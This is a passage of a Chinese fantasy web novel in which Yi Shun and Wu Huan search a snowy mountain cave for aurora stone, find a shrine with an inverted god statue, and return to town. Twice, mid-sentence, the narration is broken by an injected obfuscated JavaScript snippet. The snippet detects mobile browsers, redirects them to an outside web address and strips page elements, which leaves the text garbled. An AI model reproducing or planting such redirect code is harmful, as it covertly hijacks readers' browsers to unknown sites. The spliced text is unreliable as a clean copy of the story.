“冷吗?”一瞬一边问,一边把手伸进南瓜嘴里翻找。他从前出门时往南瓜肚子里塞了不少东西,每次回家又懒得拿出来,导致这颗南瓜被他越塞越鼓,找起东西来费劲得很。 等他好不容易摸出了毛裳子,无欢却说:“不冷。” 一瞬还以为这家伙在嘴硬,结果摸了摸无欢的胳膊,还真的是温热的,掌心下是隔着衣料都能感觉到的暖意。 “嚯,你平时看着冷冰冰的,没想到还挺耐寒。”一瞬笑道。 无欢眨了眨眼,转头看向他:“我平时很冷冰冰吗?” “有点吧,你不说话的时候没什么表情,看起来就冷冰冰的。”一瞬顿了顿,又补充道,“说话的时候也经常没表情,就更加冷了。” 无欢想了想,住在平和镇的人确实都挺喜欢一惊一乍的。就连看起来气质温婉的铃铛,在听到八卦的时候都能一拍手乐得跳起来。 “那我需要让表情丰富一点吗?”无欢问。 “怎么舒服怎么来吧,”一瞬说,“平和镇又不是管教所,没人会因为你表情少就把你轰出去。” 无欢了然地点点头。 南瓜车开始爬上北山。一路上两人基本没有什么对话,一瞬总是好奇无欢这些天为什么总跑去铃铛家,对此的好奇甚至一时之间压过了好奇无欢曾经在七层的生活。 而无欢呢? 他本来就和一瞬没什么话题。安静到尴尬的时候,也只是不痛不痒地想了想,等回去了要去咨询铃铛,该怎么和老板聊天而已。 越往山上走,气温越凉。山脚下还是层层叠叠的暗绿色针叶林,树干笔直地刺向天空,树冠连成一片浓得化不开的墨。爬到半山腰,林子才渐渐疏朗了些,阳光能从树缝里漏下来了,在地上投下一块一块的光斑。 空气里飘着一股冷杉的苦香味,混着泥土和苔藓的潮湿气息。 一瞬把毛裳子披在身上,手指磨着裤子,绞尽脑汁地思考要怎么和无欢套套近乎。 最后却还是无欢先开口的:“我们已经爬了一半的山了吧?知道我们具体要去哪里找极光石吗?” 一瞬喜出望外,立刻回道:“当然!” 他从口袋里摸出一张纸,上面用黑炭笔潦草地画了北山的地形图,线条歪歪扭扭的,像是边走路边画的。半山腰的位置被人画了个圈,炭笔用力到纸都戳破了一点。 “这儿。”他指了指那个圆圈,说,“十年前矮人族发现的矿洞,里面有极光石。不过极光石太硬了,硬到一凿就裂,一裂就碎,根本没法完整地挖出来。做首饰不行,做装饰品也不行,你费半天劲凿下来一块,一打磨就碎成渣了。况且宝石能完全替代极光石,又好看又好加工,谁还来折腾这破石头?再加上采极光石得爬雪山,矮人又最怕冷,所以这个矿洞一直没被大规模开采。” “原来是这样。”无欢说,“那你找极光石做什么?” “这个嘛……到时候你就知道了。”一瞬眼珠一转,卖了个关子。 无欢闻言也没有继续追问,而是顺势换了个话题:“那宝石的开采地在哪里呢?这东西应该也很稀少才对吧?” “你居然知道这个?”一瞬有些惊讶,随即解释道,“开采工作基本都是矮人族负责的。虽然在二层几乎没有矿洞,但在三层有一条矿脉,那里到处都是宝石。虽说好东西总是往高处走,很少流到下面来,但矮人毕竟定居在二层,所以也会带回来不少。” 13. 洞窟 “矮人会去三层?”无欢抓住了重点。 一瞬心里一咯噔,但话已出口收不回去。他从前没有告诉无欢这些信息,是因为他知道无欢的目的地是七层。他私心不希望无欢——不,是他不希望任何人,因为任何理由靠近那个地方。 也许在底层人民的想象里,七层是个金碧辉煌的云端之城。可一瞬比谁都清楚,那里不是什么黄金屋,是住了鬼煞的地狱。 但是现在不小心说破了,他也只能继续顺着说下去。毕竟尊重他人命运也是一种传统美德。 “是啊。”一瞬晃了晃脑袋,把那些念头甩掉,尽量将语气放得轻松些,“其实大部分矮人都住在三层,只有一小部分申请到了通行证,发现二层住着更舒服,就留下来了。所以二层的矮人拢共也没几个。” “这样啊……”无欢说,“我住在这里这么久,好像确实没见过矮人。” “二层说大不大,说小也不小,矮人拢共也就十来个,遇不到很正常。”一瞬说。 无欢随即望向他:“但你去过矮人商铺,你是知道在哪里能找到他们的吧?” 一瞬开门见山:“你要找他们要通行证?” “对。” 一瞬摆摆手:“还是死了这条心吧。矮人不可能把通行证给你的。” “为什么?”无欢不解。 一瞬支吾了一声,说:“通行证对于他们来说是很重要的东西,没有了的话他们就没有办法前往三层了,而矮人是靠挖矿维生的,拿走了通行证,就等于是截了他们的生路。” 无欢拧了拧眉:“那我告诉他们,只是借通行证用一下呢?我可以告诉他们,我只是想要他们的通行证复刻一张属于我的通行证,我会很快还给他们的。” 一瞬:“那你不是就暴露我能造通行证的事情了?” 无欢眨了眨眼:“这是不能说的事情吗?我还以为大家都知道。” 一瞬气笑了:“当然不能说!谁不想去上层大陆,过上更好的生活啊?要是人人都来找我造通行证,我肯定很快就会被王国兵盯上的啊!” “也是……”无欢喃喃道。 他托着下巴,陷入了沉思。一瞬帮过无欢很多忙,也是无欢目前唯一知道能帮他造通行证的人。 他遇到一瞬无疑是幸运的,无论是从情分还是未来规划,他都不能让一瞬被王国兵带走。 也就是说,前往三层——不,不止是三层,是未来需要的每一张通行证,他都必须用偷的才能获取。 一瞬一只脚踩在南瓜车边缘,手肘搁在膝盖上,托着脑袋望着无欢。他的目光落在无欢微微蹙起的眉头上,又滑到那只托着下巴的手上,眼神若有所思,不知道在想些什么。 随后,他忽然在南瓜上拍了两巴掌。 下一秒,一些剔透的光丝在空气中出现,无声无息地汇聚在一起,化作一股强劲的气流,猛地推在南瓜车后面。 这颗一直慢悠悠晃荡的南瓜像是被什么东西狠狠蛰了一下,整颗瓜猛地往前一蹿! 无欢身体一晃,思绪被打断,本能地伸手抓住了瓜沿。 他的长发被迎面扑来的风呼地吹到了脑后,几缕发丝缠在了嘴角。无欢眼疾手快地一把抓住南瓜蒂,指节绷得发白,眯着眼喊道:“这东西怎么忽然这么快?” “不知道啊!”一瞬也被颠得晃了两下,赶紧扶住瓜沿,另一手死死攥住无欢的手臂,把他往回拽了拽,“买回来好几年了,可能是哪里出了故障吧!” 无欢侧头看了他一眼。风太大了,那个眼神里到底藏着什么,一瞬没看清,也没空细想。 “那回去以后要换个新的吗?”无欢的声音被风吹得断断续续。 “太贵了!”一瞬扯着嗓子喊,语气里带着一种理直气壮的心虚,“将就着用吧——” 南瓜车像一头发了疯的野牛,载着两个人颠颠簸簸地朝北山深处冲去。路边的矮灌木从两侧飞快地后退,碎石被车轮——不,被瓜皮刮得四处飞溅。 一瞬的毛裳子在风中猎猎作响,他整个人被颠得上下起伏,感觉自己像骑在一颗随时会炸开的瓜上。 这段山路原本还要走很久,可这发了疯的南瓜根本不讲道理,弯也不拐,坡也不减速,直直地朝山上冲,颠得两人五脏六腑都在翻涌。 “咳咳……” 无欢捂着嘴想吐,一瞬见状赶紧要把南瓜车停下来,南瓜车却在他手掌触碰到时,整颗瓜在原地狠狠一颤,稳住了。 一瞬抬起头。 面前是一面灰褐色的岩壁,岩壁上嵌着一道低矮的洞口,黑黢黢的,像山体张开的一道嘴。洞口周围堆着厚厚的积雪,石头上挂着细碎的冰棱,在稀薄的日光下闪着冷白色的光。 是极光石矿洞,这个矿洞正好在雪山和树影的交界处。 一瞬率先跳下车,在雪地上踩出两个脚印:“到了。” 无欢捂着嘴缓了缓,随后才跟着跳下南瓜车。他暗自决定,以后绝对不会再嫌弃这辆车速度慢了。 两人把南瓜车挪到洞口一侧的避风处,一瞬拍了拍瓜身,像是在安抚一头刚刚发完疯的牲口。他弯腰把两个小白布袋扛上肩,一个斜挎在身后,一个拎在手里。 布袋里的工具叮叮当当撞了几声,一瞬说:“走吧。” 无欢点了点头,两人一前一后地走进了洞口。 直到到了这里以后,一瞬才真正明白了为什么极光石难以开采。北山是一座雪山,山顶终年覆着厚厚的积雪。如果在山体上人为爆破打开矿脉,巨大的震动很可能引发雪崩,所以只能靠天然形成的洞穴,在里面碰运气。 然而眼前的这个洞两侧岩壁灰扑扑的,粗糙平整,显然不在矿脉上。 看起来就像矮人说的那样,要找到矿石只能靠运气。 一瞬的手伸进口袋里,无欢看到那个口袋的边缘不规则地翕动了几下,像有什么东西在里面拱来拱去,随后忽然鼓出了一截。紧接着,一瞬就从口袋里摸出了一个手电筒。 无欢扬了扬眉毛:“你还带了这个?” 一瞬打开手电筒,一束暖黄色的光切开黑暗,照亮了两人脚下的碎石。他干笑了一声:“对,我带出来的东西可多了,毕竟平时的任务稀奇古怪的,有备无患嘛。” 无欢没有细想这中间的古怪。一瞬说过自己有个空间道具,就算他忽然从口袋里摸出一张床,无欢都不会觉得意外。 他从一瞬手里接过挖掘道具,左手锤子右手镐。手电筒的光从侧面打过来,把他那张脸照得半明半暗。光线沿着眉骨的走势缓缓滑落,在眼窝处沉入一片阴影,衬得那双黑眸像是藏在深水底下的墨石。 一瞬看着这张脸,再看看他手里的锤子和镐,忽然有些后悔带无欢一起出来。 这种辛苦的活儿他一个人干就行了,为什么要糟践这么好看的一张脸? 一瞬悔恨地砸了砸嘴。 无欢显然没有察觉到一瞬内心的波涛汹涌。他们所在的位置距离洞口不远,不用手电筒也还有些微弱的天光从外面透进来,灰蒙蒙的,看东西有些费劲,但勉强能辨认轮廓。他的视线扫过周围,看着几乎一模一样的灰褐色岩壁,微微皱了皱眉。 “不过怎么才能找到极光石?这山洞还挺大的,我们不会真的要一点一点靠运气开凿过去吧?” “用这个。”一瞬干咳一声回过神。他从自己的袋子里抽出那柄镐,反过来握住,指了指镐背的钝面,“用这里锤岩壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555399|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但不要太用力。如果附近有极光石的话,会听到回声。不过山洞入口处矮人族应该都已经探查过了,我们直接往深处找找。” “好。”无欢说。 一瞬又从口袋里摸出了一只手电筒,交给无欢。 无欢接过手电筒,也更加确定了,一瞬的那件衣服口袋里,一定藏着个空间道具。 可那件毛裳子不是刚从南瓜肚子里摸出来的吗?他的空间道具应该是随身携带的才对,什么时候换进毛裳子口袋里的? 无欢想了想,没想出个所以然,便干脆放弃了。 反正他对空间道具也没什么兴趣。 两人拿着手电筒往深处走,直到外界的光线完全照不进洞穴,四周被浓稠的黑暗彻底吞没,才停下脚步。 一瞬举起手电,光柱扫过四周的石壁,在灰褐色的岩面上切出一块晃动的亮斑。 “就从这里开始吧。”一瞬说。 他们把锤子暂时别回腰间,一人负责一面石壁,用镐背的钝面轻轻敲击岩面。洞穴里响起了沉闷的叩叩声,一声接一声,在空旷的空间里来回荡着。 一瞬敲了一块又一块岩石,侧耳去听,可传回来的永远是那种闷实的、毫无生气的声响。矮人说的清脆回音,一次都没有出现。 不过一瞬的运气向来如此,他倒是见怪不怪了。只是这样重复地敲击,敲得他脑仁发麻,未免觉得有些枯燥。 他机械地敲着岩壁,脑子里已经开始天马行空了。一会儿想着今天出门前是不是忘了给房间里的花换水,一会儿想着猫猫糖面包坊这个点该有新出炉的蜂蜜面包了,一会儿又惦记起熊老爹今晚会不会追着熊儿子满镇跑,万一错过了什么绝世好戏,那可就亏大了。 反观无欢那边倒是很安分。 他和平时一样,即使在黑暗中,没人看见的时候,脸上也没什么多余的表情。无欢专注地敲着面前的石壁,一下,又一下,一面敲完了以后又继续向里移动。 越往里走,空气里那股潮湿的霉味就越重,脚下的碎石也从干燥的灰白色变成了一种滑腻的深色。不知不觉间,两人之间的距离已经隔开了四五米,中间空出一大片黑暗。 手电筒的光柱在偌大的空间里显得有些力不从心,照到哪里都是灰蒙蒙的一团,分不清是石壁还是虚空。 他们背对背工作,也像是来时那样,一句话都没有,只有一下下的敲击声回荡在空旷的山洞里。 这样的工作不知道持续了多久。 忽然—— 嗡—— 无欢的耳朵捕捉到了一丝细细的回响。那声音很轻,像一根针落在冰面上,颤巍巍地荡开。 无欢的手顿住了。 他眨了眨眼,侧耳又敲了一下——嗡——那丝细细的余韵再次贴着石壁滑回来,像一根冰凉的丝线穿过耳膜。 找到了!是极光石! 他猛地转身,那双黑眸在手电筒的余光里骤然亮了起来,随后转身朝一瞬的方向迈出一步。 “一瞬,找到极——” 声音被地面生生咬断。 无欢迈出的那只脚踩空了。 碎石像流沙一样往下泻,无欢整个人猛地一矮,像是被一只无形的手从脚踝拽进了地底。没有挣扎,没有叫声,光柱在天上翻了个滚,下一秒,连人带光,被黑暗吞得干干净净。 另一边,一瞬刚转过身,就看见眼前惊悚的一幕。 光影交错间,无欢的身影眨眼间就被黑暗吞没了,只剩下碎石还在哗啦啦地往下掉,砸在看不见的深处,发出闷闷的回响。 一瞬瞳孔骤缩,手里的镐咣当一声砸在地上,整个人几乎是弹射般冲了过去。 “无欢?!” 14. 山神庙 “我没事!” 声音在洞壁之间来回碰撞,嗡嗡地荡了好几圈才消散。 一瞬趴在洞口,刚举起手电筒,无欢的声音就从下方传了上来。 他连忙把光打下去,只见无欢正悬在离洞口不远的地方,一只手死死抠住岩壁上凸出的石块,身体微微晃着,勉强稳住了。另一只手里原本捏着的手电筒不见了,大概是在下落的瞬间受了惊,直接脱了手。 那道光从一瞬的视野里划过去,旋转着,翻滚着,越来越小,越来越淡。光柱扫过石壁,留下一道道忽明忽暗的残影,然后被黑暗一口一口地吞掉。 最后,所有的光消失了,也没有听到落地的声响。 手电筒就像是被一张漆黑的巨口吞噬了一般。 两人心里同时一沉,这洞到底是有多深啊?! 还好无欢反应快抓到了石头,不然这摔下去,估计就能直接转世投胎了。 “我拉你上来!”一瞬连忙道。 他把手电筒叼在嘴里,腾出手在百宝袋里一阵猛掏,拽出一捆麻绳。来不及多想,也顾不上做什么防护措施,直接把绳头甩了下去。 “接着!” 无欢单手接住绳子,在手腕上绕了两圈,又用牙咬住绳头拽紧,这才把重心往绳子上靠。松开岩石的瞬间,他整个人猛地往下一沉,绳子骤然绷紧,稳稳地吊住了他。 “可以了,拉我上去。”无欢说。 一瞬松了口气,在心里暗自佩服,不愧是从七层下来的人,忽然坠崖居然只是呼吸乱了一些,语气竟然听起来还和往常一样。这家伙的本质该不会还是机器人吧? 一瞬在心里腹诽着。他嘴里叼着手电筒,光线随着呼吸一上一下地抖,紧接着,一瞬攥紧绳子,弓着腰,铆足了劲将无欢一点点往上拽。 无欢的身体缓缓上升,碎石从他脚边簌簌地往下掉,落在看不见的深处,发出细碎的声响。 上升了没几米,无欢头顶上的手电筒光忽然一晃—— 光柱扫过旁边的石壁,照亮了一个黑黢黢的洞口。 那洞不大,刚好容一个人侧身钻进去,边缘参差不齐,像是被什么东西硬生生凿开的。洞口上方还挂着一块木牌,歪歪斜斜地吊着。 “等一下!”无欢喝停了一瞬。 一瞬咬着手电筒,含混不清地问:“怎么了?” “这里有个洞。”无欢说。 有个洞?在深渊的石壁上? 一瞬拧了拧眉,紧接着问道:“洞里有什么东西吗?” 无欢望过去,一瞬也配合地歪了歪脑袋,让手电筒的光正好打在那个方向。 “这个洞看起来很深,”无欢说,“好像……还有一张画,是……镶在墙上的。” “画?墙上的?”一瞬的语气沉了下来。 他整个人往洞口的方向倾了倾,手电筒的光在岩壁上急促地晃了两下,像是在那片黑暗里寻找什么不该存在的东西。 一瞬又问:“还有其他东西吗?” 无欢被那光晃得眯了眯眼睛:“上面还挂了个木牌。但是上面的字……”他的视线仔细扫过木牌上的字眼,嘴唇微微动了一下,像是想说什么,最后却只答道,“字有些看不清楚。你先拉我上去吧。” “行。”一瞬应了一声,手上用力,将人拉了上来。 无欢在地上站稳,这才顺着光线往下看了一眼。手电筒的光柱探进洞口,只有一片浓稠的黑暗,深不见底。 他低头看了看自己的手掌。那几道蹭破的红痕上正往外渗着细密的血珠,在手电筒的光里显得格外刺目。 无欢用拇指蹭了蹭,面无表情地甩掉指尖的血,像是不觉得疼似的,然后把手垂回了身侧,目光也从掌心移开了。 一瞬甩开绳子,急匆匆凑上来。比起无欢这个当事人,他看起来反而更加着急一些。 一瞬问:“有没有受伤?” 无欢把手掌翻过来给他看,又卷起袖子露出手臂:“没事,就擦破点皮。” 一瞬握住他的手腕,低头看了一眼掌心那几道蹭破的红痕,眉头微微拧了一下:“回去用药罐上点药。” “知道了。”无欢应了一声,收回手,抬眼看向一瞬,“你对那个山洞感兴趣?” “是有点好奇。”一瞬坦诚道。他蹲到洞口边,把手电筒往下探了探,光柱在岩壁上慢慢扫了一圈,找到无欢方才看到的那个洞穴。 从这个角度望过去,只能看到洞口那一小片黑暗,里面藏着什么,一点也看不出来。 他收回目光,转头看向无欢,语气不自觉地放轻了些:“你刚才有没有被吓到?要是不想待在这儿,就去外面等我吧。我下去看看就上来。” 无欢摇了摇头,紧接着问:“那个山洞里有什么东西吗?” 一瞬没有立刻回答。他把手电筒在膝盖上磕了磕,像是要把乱成一团的思绪磕顺了才好开口。 过了几秒,他才说:“现在还说不好,得下去看了才能确认。” 无欢见他一改平时嬉皮笑脸的模样,神情里带着少见的认真,便没有再多问。他说:“那你一切小心,有情况的话就喊我,我马上把你拉上来。” “好。”一瞬说。 两人把绳子的一头牢牢绑在一块凸起的岩石上,确认不会松脱后,一瞬才把另一头系在自己腰间。 一瞬又从口袋里摸出两个手电筒,一左一右卡进岩缝里,光柱交叉着打在洞口边缘,把脚下的碎石照得清清楚楚,生怕无欢踏错一步又掉下去。 两人也是这时才发现原来洞的前方放了一块警告牌,大概是矮人放置的,但是两人当时都贴着边走,根本没有注意到。 随后,一瞬站起身,把手电筒叼进嘴里,和无欢交换了一个眼神后,攥住绳子,贴着岩壁,一点一点地往下攀爬。 靴子踩在石壁上,一瞬的手交替着往下挪,很快就下降到了洞口的位置。 绳子的长度有限,一瞬单手撑住洞口边缘,另一只手解开腰间的绳结,冲上方喊了一声“安全着陆”,便一翻身钻了进去。 看见一瞬解开绳子的时候,无欢的手指不自觉地收紧了。万事屋平日里都是跑腿任务,他对于一瞬的身手还没有一个清晰的认知——万一出了岔子,他的通行证可就没了。 见一瞬平安着陆,他才松开手指,无声地呼出一口气。 手电筒的光芒切开黑暗,在狭窄的空间里缓缓扫过。洞不算大,岩壁粗糙,空气镶嵌着一股尘土的味道。 一瞬很快就看到了。几根木头柱子歪歪斜斜地立在入口处的岩石后面,高高低低地撑起一道歪扭的门洞。横梁上挂着一块木牌,就是无欢在下面看到的那块。 木牌上用红色的油漆写着三个大字: 山神庙。 神。 一瞬眯了眯眼睛。 这个字在如今的社会——在人类觉醒了魔法以后的世界已经很少见了。 低层的人民即使有信仰,也逃不出命运的泥沼,高层的人想要什么都能伸手拿到,更不需要去信什么神明。 或许就是在这样冷漠的夹缝里,“神”这个概念才一点一点地消亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555400|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,成了一个只存在于书本里的、被人遗忘的旧词。 起码对于一瞬来说,这是他脱离书本以后见到的第一座庙宇。 一瞬小心翼翼地往前走,这个山洞并不大,光线照一圈就能够看清全貌。在洞的正中间放着几个蒲团,蒲团上堆满了灰尘,已经看不出原本的颜色了,一瞬猜测这大概是用来跪拜神明的地方。 然后他看到了无欢说的画。 确实,这是一幅即使在黑暗中也无法忽视的画,是一幅只要有一些光亮就会冲破黑暗的画。 整面岩壁都画满了。 密密麻麻的线条和色块从手电筒能够照到的位置开始,铺天盖地地向上蔓延,光柱所及之处,那些沉睡了千百年的颜色忽然活了。赭红、土黄、炭黑、惨白,大片大片地交织在一起,形成了一幅壮观的巨型画作。 一瞬的呼吸停滞了。 壁画上绘制了许多人,密密麻麻地挤满了整面墙壁。所有的人都在跪拜,膝盖埋在泥土里,身体低伏下去,额头几乎贴着地面,双手朝着上方伸出去,像是在献出什么,又像是在哀求什么。 一瞬打着手电筒从壁画面前慢慢走过,脚步声在狭小的石庙中激起回响,比在深渊时的更加瘆人。哒哒哒的声音反复敲击在耳膜上,连绵不绝,激得人头皮发麻,就好像有人正贴在自己身后行走。 一瞬屏住呼吸,强迫自己将目光聚焦在壁画上。 他必须看完这幅画。 一瞬几乎是目不转睛地观察着。一层又一层的人影叠在一起,从岩壁底部一直往上蔓延,越往上越密集,越往上姿态越卑微,到最后几乎分不清人和人的界限,只剩下一片匍匐的、蠕动的、朝着同一个方向攀爬的轮廓。 他们全部朝着上方,像是在等待什么东西从高处降临。 一瞬的目光顺着那些伸出的手臂向上移动,慢慢抬高了手电筒。光柱一寸一寸地爬上岩壁,掠过无数匍匐的身影,终于在最高处停住了。 那一瞬间,一瞬的血液凉了半截。 神像是倒吊的,在光线打上去时,正正和一瞬四目相撞。 一瞬瞪大眼睛,近乎恐惧地看着这不可思议的一幕。 整尊石像头朝下,脚朝上,像被什么力量从头顶钉进了岩壁里。那张巨大的面孔直直地冲着地面,正对着下方那些破旧的蒲团。 她的五官凿得精细,眉目端庄,嘴角甚至带着一丝若有若无的弧度,像是在微笑。那双眼睛刻得太深了,深到像是有人用指甲一点一点抠出来的,眼窝里全是黑暗,手电筒的光照过去,什么也照不亮,只有两个黑洞洞的窟窿。 那两道目光从高处直直地落下来,落在下方的蒲团上,没有慈悲,没有怜悯,像是积攒了千百年的怨气,无声无息地堆积在每一个仰望者的头顶。 一瞬的手不自觉地攥紧了手电筒,呼吸有些困难,急急喘了好几口,才让那些带着尘埃颗粒感的空气顺利流进肺部。 他和蔚莱大陆的每一个人一样,是一个没有信仰的人。 比起神明,一瞬更加相信人定胜天。 然而此刻站在这尊巨大的、倒悬的神像下方,一瞬只感觉到一股沉甸甸的压迫感压在胸口,让人喘不过气。 他想不明白,那些跪在这里的人,到底是为了什么,才要对着这样一双眼睛低头。 他不敢想象那些人在跪拜时承受着怎样的心理压力,祈求这样一位只将悲悯浮于表面的神做什么。等一瞬从神像给予他的震撼中回过神时,背上已经贴上了一层薄汗。 这就是古人崇敬的……山神吗? 15. 问题 一瞬忍着不适和恶心,记下了石庙中的每个细节,随后退出洞口,把绳索重新绑到腰上。 无欢一直在洞口等着,直到看见一瞬的身影重新出现在手电筒的光圈里,才悄悄松了一口气。 他攥紧绳子,配合着一瞬的节奏一点一点往上拉。 一瞬攀上来的时候,呼吸又急又重。他翻身坐到地上,手电筒搁在膝盖上,低着头大口大口地喘气。 无欢蹲下来,问:“怎么样?下面有什么吗?” 一瞬没有抬头,方才那尊神像的眼神还压在他心头,比起这万丈深渊更让他心惊。 他擦了擦额头上渗出的冷汗,才道:“里面没什么东西。”一瞬从地上站起来,活动了一下胳膊,这才望向无欢,尽量让语气显得平常,“你刚才找到的极光石在哪里?我们取了石头就回去吧。” “好。”无欢回答着,却无意识地拧了拧眉。 一瞬的视线在他脸上停了一下,又很快错开了,像是不敢多留。他显然在山洞里发现了什么,而且是那种不能告诉无欢的东西。 不,再往前追溯,一瞬他在听到石洞里有壁画的时候就语气变了。他当时就认定了石洞里是有东西的,才会冒着危险往下闯。 会是什么东西让一瞬这么在意呢? 无欢猜不出来。他真正接触这个世界的时间太短了,认识一瞬的时间也太短了。 但是他也没有多问,这个石洞是在二层发现的,无论里面有什么,都和他没有关系。一瞬不想说,他就不去问。 毕竟他也有很多事情没有告诉一瞬。 无欢凭着记忆,用镐背又在墙面上敲了几下,很快就确定了极光石的位置。 无欢将镐子递给一瞬,一瞬接过去,小心翼翼凿开了岩壁。 碎石剥落之后,一道幽冷的光芒从石缝中透了出来,像是一小片被封印在石头里的极光,蓝绿交织,明灭不定。 是极光石。 一瞬将它从岩壁中取出来,托在掌心里,用袖子轻轻蹭了蹭表面。他的表情也已经恢复了原来的模样,仿佛刚才根本没有下去过那个洞口。 “找到了,走吧。”一瞬说。 “嗯。” 两人一起离开了山洞。他们不知道在洞窟里逗留了多久,天空已经黑透了,还开始飘起了小雪。旁边松针树下的南瓜车上也覆盖了一层薄雪,车身上白茸茸的一片。 一瞬把雪掸去,率先坐了上去。 无欢对今早南瓜车突然发狂的事件仍然心有余悸,犹豫了一下不肯上去。一瞬朝他伸出手,说:“来吧,要是这南瓜再发狂,回去了我肯定换新的。” 无欢听了这话,才犹豫地递过手。他的手是温热的,雪花落在他的手背上,也没有减少半分温暖。 一瞬把他拽上来,拍了拍南瓜车,车子便晃晃悠悠地浮起来,朝山下飘去。 无欢全程都有些紧张,左看右看,生怕车子再出什么故障。 一瞬看着他这样,没忍住笑了:“刚才掉洞里都没见你这么害怕。” “那不一样。”无欢说。 “哪儿不一样?” “掉进洞里要是害怕就真的完了,摔下去就没命了。不像这车子,会折磨人很久。”无欢一本正经地回答,顿了顿又补了一句,“而且下车以后还会难受很久。” 一瞬:“……”无法反驳。 两个人到家的时候已经过了零点,只有蘑菇酒馆还在营业中。 他们今天折腾了大半天,都没有吃过东西。两个人的运气——或者说无欢的运气——是真的不错。那么大一个山洞,只用了一天就找到了极光石,还顺带发现了一个怪异的石庙。 一瞬让南瓜车停在蘑菇酒馆前面,打算进去买一些烤蘑菇当晚餐。 无欢一路上都在担心南瓜车,再加上今天累了一天,手臂上还蹭破了皮,本就白皙的脸色看起来更差了。这会儿停了车他也不进屋,就绕着南瓜车转圈,仔仔细细地看,像是要找出这辆车到底哪里出了问题。 一瞬看他这样,暗自决定以后再也不做小动作让南瓜车失控了。 进屋后,他让蘑菇头老板备两份烤蘑菇。蘑菇头老板也知道这位吝啬鬼的尿性和砍价手段,接到订单以后立刻溜到厨房里了,生怕被一瞬缠上。 熊老爹正坐在吧台边喝酒,面前的酒杯已经空了大半,圆圆的脸颊被酒气熏得泛红。见一瞬进来,他立刻放下酒杯,热情地招手,圆圆的手掌在灯光下一晃一晃的:“怎么样啊瞬老板,极光石找到了吗?” “找到了。”一瞬坐到了他边上。他偏头朝门口扬了扬下巴,指了指外面那个正绕着南瓜车打转的身影,“无欢找到的。我本来还以为要忙活好几天呢。” “居然这么幸运,一天就找到了?”熊老爹愣了一下。 “是啊。”一瞬把手肘撑在吧台上,“不过我想应该也是那群矮人不想再在雪山待了,根本没把矿洞发掘干净。” 熊老爹发出几声粗犷的笑声,说:“哈哈哈!也有可能是他们太矮了,根本没有往高处找。” “那倒也是。”一瞬笑着,把极光石交给了熊老爹,说,“哎,你之前可答应我了,免费帮我打剑啊。” 熊老爹接过石头,还没说话,先热情地拍了拍一瞬的肩膀,一巴掌下去差点把一瞬的肺给拍出来。一瞬被拍得一阵猛咳,熊老爹却浑然不觉,乐呵呵地笑道:“放心吧瞬老板,你之前帮了我那么多忙,这点小事我肯定得帮你啊!” 笑完之后,他低头看着掌心里的极光石,粗粗的眉毛拧了起来,露出几分纠结的神色。他把石头翻来覆去地看了两遍,轻轻“嘶”了一声:“不过我之前也没见过这玩意儿啊,听说可容易碎了。这么漂亮的石头,能打剑吗?” “能啊。”一瞬揉了揉被拍疼的肩膀,“这玩意儿硬实,磨成粉都是硬的。你就把它砸了,做剑芯就行。” “行,那我也不怕把这玩意儿弄坏了。”熊老爹说着,把极光石小心翼翼地塞进贴身的衣兜里,“不过这玩意儿可不好得啊,适合做剑芯的材料也不少,这极光石做个单纯的装饰都比做剑芯更有价值,你可想好了啊,砸了可就没法复原了。” “没事,你放手去做吧。”一瞬说,“要不是为了做剑芯,我也不会跑这一趟了。” “得嘞,那就交给我吧。最近正好闲着,下个月就能交货。”熊老爹爽快道。 两人正说着,蘑菇头老板端着两份打包好的烤蘑菇从厨房出来了。一瞬点单的时候也没说清楚是要堂食还是带走,这赶人的意图已经不言而喻了。 “八个铜币。”蘑菇头老板把纸包往台面上一搁,面无表情地说。 一瞬闻着烤蘑菇的味道,馋虫也是被彻底勾起来了。更何况现在饿肚子的也不止他一个。不过该走的流程还是一步都少不了,一瞬说:“五个铜币,我立马拿走。” 这已经是一瞬砍价生涯里,最体面的一刀了。 蘑菇头老板和熊老爹同时愣了一下,不可思议地看向他。 一瞬被他们看得莫名其妙:“怎么样,能不能成交啊?” 蘑菇头老板这才缓过神来,不耐烦地朝一瞬摆摆手,说:“行行行,赶紧拿了走吧。” 一瞬爽快地摸出五个铜板,一枚一枚地数好,排在吧台上,然后拎起两份烤蘑菇,跟老板和熊老爹道了声别,推门出去了。 出门时,无欢还托着下巴蹲在南瓜车旁边。一瞬拍了拍他的肩膀,把人唤回神,说:“就快到家了,直接走回去吧。” “好。”无欢站起来,肉眼可见地松了一口气。 他原本以为一瞬会把这辆笨重的南瓜车收进他的空间口袋里,毕竟南瓜车只有靠近南瓜架的时候才会变回原来的大小。 谁知道,一瞬只是朝南瓜车勾了勾手指,南瓜车也没有漂浮起来,就自发地跟在他们身后往事务所的方向滚。 一瞬把一份烤蘑菇塞进无欢手里。油纸还是温热的,焦香味从缝隙里丝丝缕缕地往外冒。两个人迎着夜风,踩着星光,一边走一边吃。蘑菇烤得外焦里嫩,咬一口满嘴都是汁水,算是今天一整天辛苦下来的安慰奖。 走到万事屋门口的时候,一瞬刚好咽下最后一块蘑菇。 他把油纸团了团,往门口那株大嘴花张开的嘴里一塞。大嘴花的花瓣立刻合拢,发出几声黏糊糊的咀嚼声,鼓捣了两下才咽下去,末了还打了个响亮的饱嗝。 一瞬拍了拍它的花 